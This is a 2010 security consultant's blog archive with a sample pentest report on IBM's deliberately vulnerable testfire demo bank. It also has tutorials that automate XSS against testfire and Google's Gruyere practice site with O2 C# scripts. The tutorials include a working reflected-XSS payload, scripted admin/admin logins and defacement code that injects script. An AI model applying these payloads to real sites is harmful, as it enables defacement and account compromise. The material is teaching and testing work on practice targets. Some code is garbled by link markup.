Archive for November 2010
Sample Software Security Report for IBM test fire application
Web Application Assessment
for IBM demo Test Fire Website
Parsons Software Security Consulting, LLC
http://www.parsonsisconsulting.com/
http://www.parsonsisconsultingblog.com/
November 22, 2010
Executive Summary
Web Application Assessment Overview
Parsons Software Security Consulting, LLC performed the Web Application Assessment for IBM Test Fire in November of 2010. The Web site assessed was the production environment at http://demo.testfire.net/.
.
Industry leading tools were used to remotely perform the automated portion of the assessment in conjunction with manual analysis and review process. This report documents and prioritizes discovered vulnerabilities.
The application is written in .NET The application uses Java Script and Cascading Style Sheets.
The application is a fake banking application.
Conclusion and Recommendations
We have documented the detailed opportunities to improve the security posture of the application. It is recommended that the High vulnerabilities be addressed as soon as possible (3 months or less). Parsons Software Security Consulting, LLC, is an advisor for your team to utilize to assist in the remediation process.
Proper coding practices using whitelisting, should be instituted. Whitelisting would state that anything that is not specifically allowed is denied. For instance, if a field should only require alphabetic characters, then only those characters should be allowed in that field. This will not only help defend against certain kinds of attacks but also help keep data that is accepted as accurate as possible.
Error handling and trapping should be instituted throughout the application and the server. This will prevent information leakage via error messages resulting from unexpected input from users. Error messages generated should be uniform and uninformative, to prevent them from unintentionally revealing information.
Overview of Web Application Findings
The following Vulnerabilities were discovered:
| Risk Level | Vulnerability Description |
| High | Authentication Bypass SQL injection. An attacker could bypass the login page and login to the application without credentials. |
| High | SQL injection. An attacker could extract sensitive data from the database. |
| High | Blind SQL injection. An attacker could extract sensitive data from the database. |
| High | Cross Site Scripting. An attacker could deface your website or steal customer’s credentials and data. |
| Medium | Database Error Found. Database error found can give information for an attack later on. |
| Medium | Direct Access to Administration Pages. This could reveal highly sensitive information about your website. |
| Medium | Sensitive Files Found. This could reveal highly sensitive information about your website. |
| Low | Cross Site Request Forgery. This could allow an attacker to attack your website via a client. |
| Low | Unencrypted Login Request. This could allow an attacker to steal user’s credentials. |
| Low | Form Auto Complete On. |
Web Application Assessment Details
Assessment Scope
Note: This assessment took place during the month of November, 2010. All vulnerabilities described relate to the site configuration, as it existed at the time, and may or may not be applicable to the current configuration state.
Credentials were used for the assessment.
Findings and Recommendations
The findings below are ordered by risk, with an emphasis on remediation steps to obviate the exposure. Where possible, references are given for hardening and best practices guidelines that apply to the exposure in question.
Vulnerability risk definition is as follows:
High Risk – These findings identify conditions that could directly result in the compromise or unauthorized access of a network, system, application or information.
Medium Risk – These findings identify conditions that do not immediately or directly result in the compromise or unauthorized access of a network, system, application or information, but do provide a capability or information that could, in combination with other capabilities or information, result in the compromise or unauthorized access of a network, system, application or information.
Low Risk – These findings identify conditions that do not immediately or directly result in the compromise of a network, system, application, or information, but do provide information that could be used in combination with other information to gain insight into how to compromise or gain unauthorized access to a network, system, application or information. Low risk findings may also demonstrate an incomplete approach to or application of security measures within the environment.
In many cases issues that were discovered in one location were replicated throughout the application. Thus, the remediation processes may overlap with other discovered vulnerabilities and should be implemented on an application wide basis.
| Vulnerability 1 | Authentication / Weak Authentication |
| Risk | High |
| Reference | http://www.kb.cert.org/vuls/id/466433
See Vimeo Reference http://vimeo.com/17196966 |
| Affected URLs | http://demo.testfire.net/bank/login.aspx |
Vulnerability Description
The application has a weak authentication mechanism. As a result, it is possible to bypass the requirement of registering in order to access the literature section of the site. The authentication seems to rely completely on whether or not “username=” is set as part of the “pref” cookie. If any username is set, the user can access the restriction part of the site. The rest of the cookie, including the “password=” portion, is ignored.
Vulnerability Recommendation
The authentication mechanism should check both username and password to verify session validity. Once validity has been established, the session should be connected to a session identifier value to help prevent tampering. Typically, this session ID is stored into a cookie. Subsequently, the session identifier should be checked at each protected page to ensure it is connected with a valid, authenticated session. Only then should the protected page be shown to the user.
Vulnerability Recommendation
This file should be removed from the system. Also, the process of in place backups should be discontinued. This will help ensure sensitive information is not leaked to attackers.
| Vulnerability 2 | Input Validation / SQL Injection |
| Risk | High |
| Reference | |
| Affected URLs | http://demo.testfire.net/
http://demo.testfire.net/bank/account.aspx http://demo.testfire.net/bank/login.aspx http://demo.testfire.net/bank/transaction.aspx |
Vulnerability Description
A potential SQL injection vulnerability was identified. This may allow an attacker to gain sensitive information and affect the back end database. Even though no sensitive data was retrieved, it should be ensured that this condition does not exist in code. The symptoms appear to be there.
See Vimeo Reference http://vimeo.com/17196966
Vulnerability Recommendation
SQL Injection arises from an attacker’s manipulation of query data to modify query logic. The best method of preventing SQL Injection attacks is thereby to separate the logic of a query from its data. This will prevent commands inserted from user input from being executed. The downside of this approach is that it can have an impact on performance, albeit slight, and that each query on the site must be structured in this method for it to be completely effective. If one query is inadvertently bypassed, that could be enough to leave the application vulnerable to SQL Injection. The following code shows a sample SQL statement that is SQL injectable.
sSql = “SELECT LocationName FROM Locations “;
sSql = sSql + ” WHERE LocationID = ” + Request[“LocationID”];
oCmd.CommandText = sSql;
The following example utilizes parameterized queries, and is safe from SQL Injection attacks.
$db = new mysqli(“localhost”, “user”, “pass”, “database”);
$stmt = $db -> prepare(“SELECT priv FROM testUsers WHERE username=? AND password=?”);
$stmt -> bind_param(“ss”, $user, $pass);
$stmt -> execute();
In PHP version 5 and MySQL version 4.1 and above, it is possible to use prepared statements through vendor-specific extensions like mysqli.
The application will send the SQL statement to the server without including the user’s input. Instead, a parameter-?- is used as a placeholder for that input. In this way, user input never becomes part of the command that SQL executes. Any input that an attacker inserts will be effectively negated. An error would still be generated, but it would be a simple data-type conversion error, and not something a hacker could exploit.
Input validation should be happening on all input coming from a user. The vast majority of SQL Injection checks can be prevented by properly validating user input for both type and format. The best method of doing this is via “white listing”. This is defined as only accepting specific account numbers or specific account types for those relevant fields, or only accepting integers or letters of the English alphabet for others. Many developers will try to validate input by “black listing” characters, or “escaping” them. Basically, this entails rejecting known bad data, such as a single quotation mark, by placing an “escape” character in front of it so that the item that follows will be treated as a literal value. This approach is not as effective as white listing because it is impossible to know all forms of bad data ahead of time.
| Vulnerability 3 | Input Validation / Potential Blind SQL Injection |
| Risk | High |
| Reference | |
| Affected URLs | http://demo.testfire.net/bank/login.aspx |
Vulnerability Description
A potential Blind SQL injection vulnerability was identified. This may allow an attacker to gain sensitive information and affect the back end database even though database error messages are not being displayed. Even though no sensitive data was retrieved, it should be ensured that this condition does not exist in code. The symptoms appear to be there. The variable identified is the “uid” variable on the following page:
See Vimeo Reference http://vimeo.com/17196966
Vulnerability Recommendation
SQL Injection arises from an attacker’s manipulation of query data to modify query logic. The best method of preventing SQL Injection attacks is thereby to separate the logic of a query from its data. This will prevent commands inserted from user input from being executed. The downside of this approach is that it can have an impact on performance, albeit slight, and that each query on the site must be structured in this method for it to be completely effective. If one query is inadvertently bypassed, that could be enough to leave the application vulnerable to SQL Injection. The following code shows a sample SQL statement that is SQL injectable.
sSql = “SELECT LocationName FROM Locations “;
sSql = sSql + ” WHERE LocationID = ” + Request[“LocationID”];
oCmd.CommandText = sSql;
The following example utilizes parameterized queries, and is safe from SQL Injection attacks.
$db = new mysqli(“localhost”, “user”, “pass”, “database”);
$stmt = $db -> prepare(“SELECT priv FROM testUsers WHERE username=? AND password=?”);
$stmt -> bind_param(“ss”, $user, $pass);
$stmt -> execute();
In PHP version 5 and MySQL version 4.1 and above, it is possible to use prepared statements through vendor-specific extensions like mysqli.
The application will send the SQL statement to the server without including the user’s input. Instead, a parameter-?- is used as a placeholder for that input. In this way, user input never becomes part of the command that SQL executes. Any input that an attacker inserts will be effectively negated. An error would still be generated, but it would be a simple data-type conversion error, and not something a hacker could exploit.
Input validation should be happening on all input coming from a user. The vast majority of SQL Injection checks can be prevented by properly validating user input for both type and format. The best method of doing this is via “white listing”. This is defined as only accepting specific account numbers or specific account types for those relevant fields, or only accepting integers or letters of the English alphabet for others. Many developers will try to validate input by “black listing” characters, or “escaping” them. Basically, this entails rejecting known bad data, such as a single quotation mark, by placing an “escape” character in front of it so that the item that follows will be treated as a literal value. This approach is not as effective as white listing because it is impossible to know all forms of bad data ahead of time.
| Vulnerability 4 | Input Validation / Cross-Site Scripting (XSS) | ||||||||||||||||||||||||
| Risk | High | ||||||||||||||||||||||||
| Reference | http://www.cgisecurity.com/articles/xss-faq.shtml | ||||||||||||||||||||||||
| Affected URLs |
|
Vulnerability Description
Multiple instances of Cross-Site Scripting were identified. This vulnerability could allow an attacker to craft a malicious link or get malicious code inserted in to a user’s browser. Normally this is used to steal session identifiers or credentials allowing them to compromise the application’s data. This vulnerability could also be used to insert malicious content in to the user’s browser potentially compromising their system. The recommendation for this issue should be applied anywhere where the application accepts data from a user and it gets echoed back to the screen. A list of some of the identified URLs with XSS issues are listed in Appendix A. Some of the URLs may have multiple variables that are vulnerable.
The following shows a XSS vulnerability and a popup of document.cookie.
| lang
See Vimeo Reference |
http://demo.testfire.net/bank/customize.aspx
|
Vulnerability Recommendation
Cross-Site Scripting attacks can be avoided by carefully validating all input, and properly encoding all output. Always use as strict a pattern as you can possibly allow. Encoding of output ensures that any scriptable content is properly encoded for HTML before being sent to the client.
Be sure to consider all paths that user input takes through your application. For instance, if data is entered by the user, stored in a database, and then redisplayed later, you must make sure it is properly encoded each time it is retrieved. If you must allow free-format text input, such as in a message board, and you wish to allow some HTML formatting to be used, you can handle this safely by explicitly allowing only a small list of safe tags.
Secure coding practices, sanitization of user input, and properly encoding output should be used. The application should only accept content for which it is expecting for that particular variable. If a variable is only needing to accept alphabetic characters then it should only allow a-z and other characters should be denied. Encoding of the output ensure that any scriptable content is properly encoded for HTML before being sent to the client. This code would properly encode items such as <, >, \, \\, and & with their proper HTML equivalents such as < > " etc.
| Vulnerability 5 | Information Leakage / Verbose Database Error Messages | ||||||||||||||||||||||||||||||||||||
| Risk | High | ||||||||||||||||||||||||||||||||||||
| Reference | http://msdn.microsoft.com/en-us/library/994a1482.aspx | ||||||||||||||||||||||||||||||||||||
| Affected URLs |
|
Vulnerability Description
The database is sending verbose errors to the user’s browser. These errors indicate an unhandled exception by the database server. This information contains sensitive information that an attacker can use to conduct further attacks. It gives an attacker helpful information regarding syntax of requests in which the attacker can use to correct mistakes and increase the effectiveness of attacks.
See Vimeo Reference http://vimeo.com/17196966
Vulnerability Recommendation
The best way to prevent these errors is proper coding techniques in which only proper input is accepted. This should be done in a whitelisting approach. Do not display error messages to the end-user that provide information (such as table names) that could be utilized in orchestrating an attack. Also, there should be definition of the maximum and minimum data lengths for what the application will accept. ODBC error messages should be turned off and raw ODBC and other verbose errors should not be sent to the end user. To remove detailed error messages documentation for the particular database server should be consulted.
| Vulnerability 6 | Admin Directory |
| Risk | Medium |
| Reference | |
| Affected URLs | http://demo.testfire.net/admin/ |
Vulnerability Recommendation
A directory named ‘admin’ was discovered within your web application. Risks associated with an attacker discovering an administrative directory on your application server typically include the potential for the attacker to use the administrative applications to affect the operations of the web site.
| Vulnerability 7 | Information Leakage / Directory Listing/ Sensitive files |
| Risk | Medium |
| Reference | |
| Affected URLs | http://demo.testfire.net/bank/ |
Vulnerability Description
The application has several files that appear to be in place backups of files. These files are sometimes served differently by the web server than files with the standard file extension. In some cases this could lead to information leakage that would give an attacker an idea of how to better attack the system.
See Vimeo Reference http://www.vimeo.com/17200961
Vulnerability Recommendation
These files should be removed from the system and the process of doing in place backups such as this should be discontinued. This will ensure that the server doesn’t accidentally serve sensitive data to an attacker.
| Vulnerability 8 | Cross Site Request Forgery | |||||||||||||||||||||||||||
| Risk | High | |||||||||||||||||||||||||||
| Reference | ||||||||||||||||||||||||||||
| Affected URLs |
|
Vulnerability Description
In order to avoid CSRF attacks, every request should contain a unique identifier, which is a parameter that an attacker cannot guess.
Vulnerability Recommendation
One suggested option is to add the session id taken from the session cookie and adding it as a parameter. The server must check that this parameter matches the session cookie, and if not discard the request. The reason an attacker cannot guess this parameter is the “same origin policy” that applies to cookies, so the attacker cannot forge a fake request that will seem real to the server. Any secret that is hard to guess and is not accessible to an attacker (i.e. not accessible from a different domain) can be used instead of the session id. This will prevent an attacker from crafting a seemingly valid request.
| Vulnerability 9 | Session Handling / Cleartext connections | |||
| Risk | High | |||
| Reference | http://www.kb.cert.org/vuls/id/466433 | |||
| Affected URLs |
|
Vulnerability Description
The application accepts session data over plaintext connections. Sending credentials and data without cryptographic protections could allow for an attacker to intercept this data allowing them to take actions in the intercepted user’s name. Also if cryptographic protections such as TLS/SSL are not used the data being sent or received from the application can be modified. People often use the same password for multiple services. A password intercepted here could allow for its use elsewhere.
Vulnerability Recommendation
The application should use some form of cryptographic protection for credentials and session IDs being sent. This will mitigate the risk of not only the capturing of authentication data but the integrity of data being pulled and submitted to the application as well. Most commonly for web applications this is done with TLS/SSL.
| Vulnerability 10 | Form Auto-complete ON |
| Risk | Low |
| Reference | http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/abbca505-6f63-4267-aac1-1ea89d861eb4.mspx |
| Affected URLs | http://demo.testfire.net/bank/login.aspx |
Vulnerability Description
Most recent browsers have features that will save form field content entered by users and then automatically complete form entry the next time the fields are encountered. This feature is enabled by default and could leak sensitive information since it is stored on the hard drive of the user. The risk of this issue is greatly increased if users are accessing the application from a shared environment.
Vulnerability Recommendation
Recommendations include setting auto complete to “off” on all your forms.
Sources and Further Reading
OWASP: The Open Web Application Security Project
The Web Application Security Consortium
Mark Kruger: The Application Security Pyramid
http://www.coldfusionmuse.com/index.cfm/2006/4/13/security.pyramid.policing
OWASP Top Ten 2007
http://www.owasp.org/index.php/Top_10_2007
OWASP Security Principles
http://www.owasp.org/index.php/Category:Principle
OWASP Common Software Vulnerabilities
http://www.owasp.org/index.php/Category:Vulnerability
Microsoft: Improving Web Application Security
http://msdn2.microsoft.com/en-us/library/ms994921.aspx
Web Application Assessment Points of Contact
For questions or comments regarding this report please contact the following:
| Name | Role | Contact Information |
| Matt Parsons, MSM, CISSP | Vice President, Parsons Software Security Consulting, LLC | mparsons1980@gmail.com
315-559-3588 |
SQL injection with 02 and FuzzDB Database plugin
O2 Database plugin testing for SQL injection.
Now that we have covered XSS with 02 we are going to go through SQL injection using FuzzDB.
Adam Muntner created it using a number of sources.
fuzzdb helps identify security flaws in applications by aggregating known attack patterns, predictable resource names, and server response messages to create a comprehensive, repeatable set of malformed input test cases.
svn checkout http://fuzzdb.googlecode.com/svn/trunk/ fuzzdb-read-only
http://code.google.com/p/fuzzdb/downloads/detail?name=fuzzdb-1.08.tgz
This code uses the fuzzdb plugin and fuzz’s the database with different SQL injection payloads. It then takes screen shots of each successful iteration.
The screen shots are above. If you have any questions feel free to email me at mparsons1980@gmail.com
Once again Parsons Software Security Consulting, LLC is offering unauthenticated scans for the holidays. A few people have taken me up on this offer.
XSS with 02 script editor Defacement on Gruyere
Today’s post is going to go through step by step on Gruyere XSS defacement.
We already created our XSS builder with 02. Now we are going to do a XSS defacement.
Above is the regular Gruyere Login page. Below is Defacement with the IE Script Execution.
Here is all the code needed for the defacement.
using O2.XRules.Database.Utils;
using O2.XRules.Database.APIs;
using O2.External.SharpDevelop.Ascx;
using O2.External.SharpDevelop.ExtensionMethods;
using O2.DotNetWrappers.Network;
using O2.DotNetWrappers.DotNet;
using O2.DotNetWrappers.Windows;
using O2.DotNetWrappers.ExtensionMethods;
using O2.Views.ASCX.classes.MainGUI;
using O2.Views.ASCX.CoreControls;
using O2.Views.ASCX.ExtensionMethods;
using O2.Kernel.ExtensionMethods;
using O2.Kernel;
using O2.Interfaces;
using System.Linq;
using System.Xml.Linq;
using System.Xml;
using System.Collections.Generic;
using System.Windows.Forms;
using System.Drawing;
using System;
using O2.XRules.Database.Utils.O2;
public class DynamicType
{
public void dynamicMethod(object returnData, System.Windows.Forms.Panel panel)
{
panel.clear();
var ie = panel.add_IE().silent(true);
ie.open("http://google-gruyere.appspot.com/856783677371/login");
var target = ie.elements("DIV").str("Gruyere: Login");
target.flash();
target.injectHtml("beforeBegin", "<h1>O2 Platform Demos</h1>" + "The best way to learn about the security vulnerabilities of this website is to use the <a href=\"http://o2platform\">OWASP O2 Platform</a>" + "<script DEFER> " + " //alert(document.links[0].href);" + " document.links[0].href = \"http://o2platform.com\";" + " document.images[0].src =\" <a href="http://o2platform.com/images/a/">http://o2platform.com/images/a/</a> " + "a0/6_22_2010_7_08_23_PM_tmp9E4.jpg\";" + " //alert(document.images[0].sec);" + " //document.images[1].href = " + " //alert(document.images[1].href);" + "</script>");
}
}
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll
This is what Dinis Created and what is under the hood of these little scripts. It’s a bit more complex.
I was speaking to Dinis and in his own words after I questioned him about the code he explained some of it too me.
what happens when you select the ‘show/hide generated source code’ is that you see the actual method that gets compiled (basicaly I automatically put the text you put on the main script window inside that public object dynamicMethod(object returnData, string testString, int testNumber) method
– the silent(true) in IE is just to prevent pop-ups (and sometimes you need to put it to false since you need to act on those popups)
– the ‘flash()’ method is used to slow down a little bit the script execution and so that you can see visually which HTML field is being edited
If you have any questions e-mail me. Matt Parsons, CISSP, MSM
XSS Exploit with 02 continued on Google Demo Hack Site
In the spirit of Cross Site Scripting exploits with 02 we will continue to exploit using 02 XSS exploit script. This time I will use the script from Dinis Cruz’s powerful 02.
We are going to select XSS builder.
Google is kind enough to offer an attack website, Gruyere. Only attack websites you are authorized to attack. Parsons Software Security Consulting, LLC assumes no liability in any damage that you do from unauthorized hacking.
We are going to attack the login page.
The website is vulnerable to XSS. Next time we will create a script to show this attack and do a defacement.
If you have any questions or comments feel free to contact Matt Parsons.
Also Parsons Software Security Consulting, LLC is offering free unauthenticated web penetration test to the first 10 companies that respond by the end of the year 2010.
BASE 64 Decoding with 02
With the simple script editor that Dinis created it is possible to base 64 decode values. This is important because some insecure websites base 64 encode values. See below screen shot from IBM appscan.
So lets decode the password.
Password decoded. You can also use the same script to decode the user name.
If you have any questions e-mail me at mparsons1980@gmail.com
Matt Parsons, CISSP, MSM
The power of 02 scripting
Dinis Cruz is the creator of 02. He was kind enough to give me a lesson on 02 Internet Explorer Automated Scripting. This is a really powerful tool and will be what I think in the future end deliverable of software security testers to there clients’. This tool actually recreates the vulnerability step by step in an automated fashion.
Let’s get started in creating your automated XSS script for IBM’s demo test fire application. In a previous post we showed the vulnerable lang variable to XSS and we manually exploited it with both IBM app scan as well as 02’s XSS creator.
First you are going to need to install 02. 02 is free and open source and is also an OWASP project.
Once you download the tool you are going to need to sync up the scripts.
Click on Custom 02 scripts.
Dinis created an 02 script for my engagement and my business Parsons Software Security Consulting, LLC. We will drag and drop the Matt parsons v0.1 (Custom 02.h2 script to the logo.
This is the user interface to 02.
We are going to want to double click on IE Automation. Dinis told me that this part of 02 received a lot of traction at OWASP Brazil and that they were really excited about it.
Below are the default scripts.
The default page is http://www.google.com.
Below is the sample script.
var ie = panel.<strong>add_IE</strong>().<strong>silent</strong>(<strong>true</strong>);
ie.<strong>open</strong>("http://www.google.com");
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll
Its basically scripted in C#.
Here is the first script Dinis created.
var ie = panel.add_IE().silent(true);
ie.open("<a href="http://demo.testfire.net/">http://demo.testfire.net</a>");
if (ie.hasLink("Sign In"))
{
ie.link("Sign In").click();
ie.field("uid").value("admin");
ie.field("passw").value("admin");
ie.button("Login").click();
}
else
ie.link("MY ACCOUNT").click();
return ie.fields();
]
This script opens the IBM demo web site and logs you in as an admin. One of the users in the IBM test website is admin.
This welcomes you as an admin user.
Next we are going to launch a XSS attack on the lang variable that we found vulnerable in our web site scanner.
ie.open("<a href="http://demo.testfire.net/">http://demo.testfire.net</a>");
if (ie.hasLink("Sign In"))
{
ie.link("Sign In").click();
ie.field("uid").value("admin");
ie.field("passw").value("admin");
ie.button("Login").click();
}
else
ie.link("MY ACCOUNT").click();
ie.link("Customize Site Language").click();
ie.link("International").click();
var currentUrl = ie.url();
var xssPayload = "aaa><script> alert('xss')</script>";
ie.open(currentUrl + xssPayload);
return currentUrl;]
See the alert XSS.
Now with this script we are going to do some serious XSS defacement.
panel.clear();
var ie = panel.add_IE().silent(true);
ie.open("<a href="http://demo.testfire.net/bank/customize.aspx?lang=international">http://demo.testfire.net/bank/customize.aspx?lang</a><a href="http://demo.testfire.net/bank/customize.aspx?lang=international">=international</a>");
var target = ie.elements("P").str("Curent Language: international ");
target.flash();
target.injectHtml("beforeBegin","<h1>O2 Platform Demos</h1>"+
"The best way to learn about the security vulnerabilities of this website is to use the <a href<a href="http://primarypad.com/ep/search?query=%5C">=\</a>"<a href="http://o2platform%5c/">http://o2platform\</a>">OWASP O2 Platform</a>"+
"<script DEFER> "+
" //alert(document.links[0].href);"+
" document.links[0].href = \"<a href="http://o2platform.com%5c/">http://o2platform.com\</a>";"+
" document.images[0].src <a href="http://primarypad.com/ep/search?query=%5C">=\</a>"<a href="http://o2platform.com/images/a/">http://o2platform.com/images/a/</a>"+"a0/6_22_2010_7_08_23_PM_tmp9E4.jpg\";"+
" //alert(document.images[0].sec);"+
" //document.images[1].href = "+
" //alert(document.images[1].href);"+
"</script>");
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll]
Now remember that all of this is automated. It goes through each of the steps to create the defacement.
If you have any questions e-mail me at mparsons1980@gmail.com
How to automate XSS with Dinis Cruz 02
In today’s post we are going to discuss the steps to automate a XSS scripting attack using Dinis Cruz’s 02. Dinis is a really smart guy and good friend of mine. I like the work that he is doing with O2. The tool we are going to use allows you to automate custom XSS exploits. The value of this tool is that you don’t have to go to RSNAKE’s XSS cheat sheet website everytime you want to show XSS.
Below are some Cross Site Scripting vulnerabilities found on IBM’s demo website with IBM Appscan.
It is good that the tool found these vulnerabilities but now you have to prove whether or not they are false positives. This can help with Dinis’s O2 tool. We are going to write a custom 02 script that we can later on recreate and give to developers or system administrators as unit tests. But for now we are just going to use Snagit and describe it in a detailed report.
Above is the standard XSS that IBM appscan created. If you want to be worth your salt as a pen tester do not give this to your client.
For this usecase we are going to exploit the lang variable.
Vulnerability Description
Multiple instances of Cross-Site Scripting were identified. This vulnerability could allow an attacker to craft a malicious link or get malicious code inserted in to a user’s browser. Normally this is used to steal session identifiers or credentials allowing them to compromise the application’s data. This vulnerability could also be used to insert malicious content in to the user’s browser potentially compromising their system. The recommendation for this issue should be applied anywhere where the application accepts data from a user and it gets echoed back to the screen. A list of some of the identified URLs with XSS issues are listed in Appendix A. Some of the URLs may have multiple variables that are vulnerable.
The following shows a XSS vulnerability and a popup of document.cookie.
Vulnerability Recommendation
Cross-Site Scripting attacks can be avoided by carefully validating all input, and properly encoding all output. Always use as strict a pattern as you can possibly allow. Encoding of output ensures that any scriptable content is properly encoded for HTML before being sent to the client.
Be sure to consider all paths that user input takes through your application. For instance, if data is entered by the user, stored in a database, and then redisplayed later, you must make sure it is properly encoded each time it is retrieved. If you must allow free-format text input, such as in a message board, and you wish to allow some HTML formatting to be used, you can handle this safely by explicitly allowing only a small list of safe tags.
Secure coding practices, sanitization of user input, and properly encoding output should be used. The application should only accept content for which it is expecting for that particular variable. If a variable is only needing to accept alphabetic characters then it should only allow a-z and other characters should be denied. Encoding of the output ensure that any scriptable content is properly encoded for HTML before being sent to the client. This code would properly encode items such as <, >, \, \\, and & with their proper HTML equivalents such as < > " etc.
More Questions to ask yourself when doing a software security review
Who uses the application? What is the use case scenario?
a. Do employees use the application?
b. Do customers use the application?
c. Do third party vendors use the application?
Who are the attackers?
a. What do the attackers have to gain by attacking the application?
b. Are they spies?
c. Are they competitors?
d. Are they criminals?
e. Are they terrorists?
f. Are they script kiddies?
Questions to ask when doing a security review
- Where is the application? Where does it reside?
- Is the application internal?
- Is the application located on the DMZ?
- Is the application Internet facing?
- What information do we need to protect? What are the labels for the security? Public, Internal, Private, Classified, Secret, Top Secret
- Is there any Personal Identifiable Information that we need to protect?
- Are there any credit card numbers, social security numbers
Web Penetration testing of IBM Appscan Test Site
Web Penetration Testing with Matt Parsons of Parsons Software Security Consulting.
Spider and Crawl the application with the web penetration testing tool of your choice.
HP Web Inspect or IBM app scan.
Which ever is available. There are pros and cons to each one.
Look at the site structure of the application. This can also be completed with an open source tool DIR BUSTER.
Count the number of pages scanned and the number of vulnerabilities found.
Look at the number of completed tests. In this instance it is 17753. This appears to be a complete scan with 95 pages visited. There are 40 High Vulnerabilities, 21 Medium Vulnerabilities, 21 Low Vulnerabilities and 15 Informational Issues.
Look at the high vulnerabilities first.
Next time we will dive into specific software security vulnerablities. The first step to any web penetration test is to do a crawl and scan.
If you have any questions or comments e-mail me at mparsons[at] gmail.com
Matt Parsons, CISSP, MSM
parsonsisconsulting 